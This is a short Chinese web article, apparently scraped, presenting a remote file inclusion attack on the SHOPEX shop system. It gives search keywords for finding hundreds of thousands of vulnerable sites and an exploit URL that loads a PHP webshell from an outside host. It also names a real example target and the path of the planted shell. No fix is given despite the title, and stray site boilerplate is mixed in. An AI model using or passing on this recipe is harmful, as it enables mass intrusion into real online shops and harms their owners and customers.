SHOPEX最新漏洞利用及解决方案

　　简单的说.通过SHOPEX系统，我在中国的服务器上执行了美国服务器上的代码。而这个代码的主人是美国服务器。却在中国的服务器上被执行。

　　所以我在中国的服务器上执行命令。美国的服务器就乖乖的执行任务。就这么简单。

　　漏洞实验：

　　关键词：产品目录 联系我们 关于我们 常见问题 安全交易 购买流程 如何付款

　　可以找到40多万个用此系统的站.也就意味着40多万个站将被沦陷.

　　在目标站后面加上：/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn/php.txt?

　　就出现了远程执行php大马的画面。 dedecms.com

　　如:http://www.oicqshop.com/oicqshop/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn/php.txt? 织梦内容管理系统

访问:如:http://www.oicqshop.com/oicqshop/shop/bsthacker.php

内容来自dedecms

看完这篇，您有何感觉呢？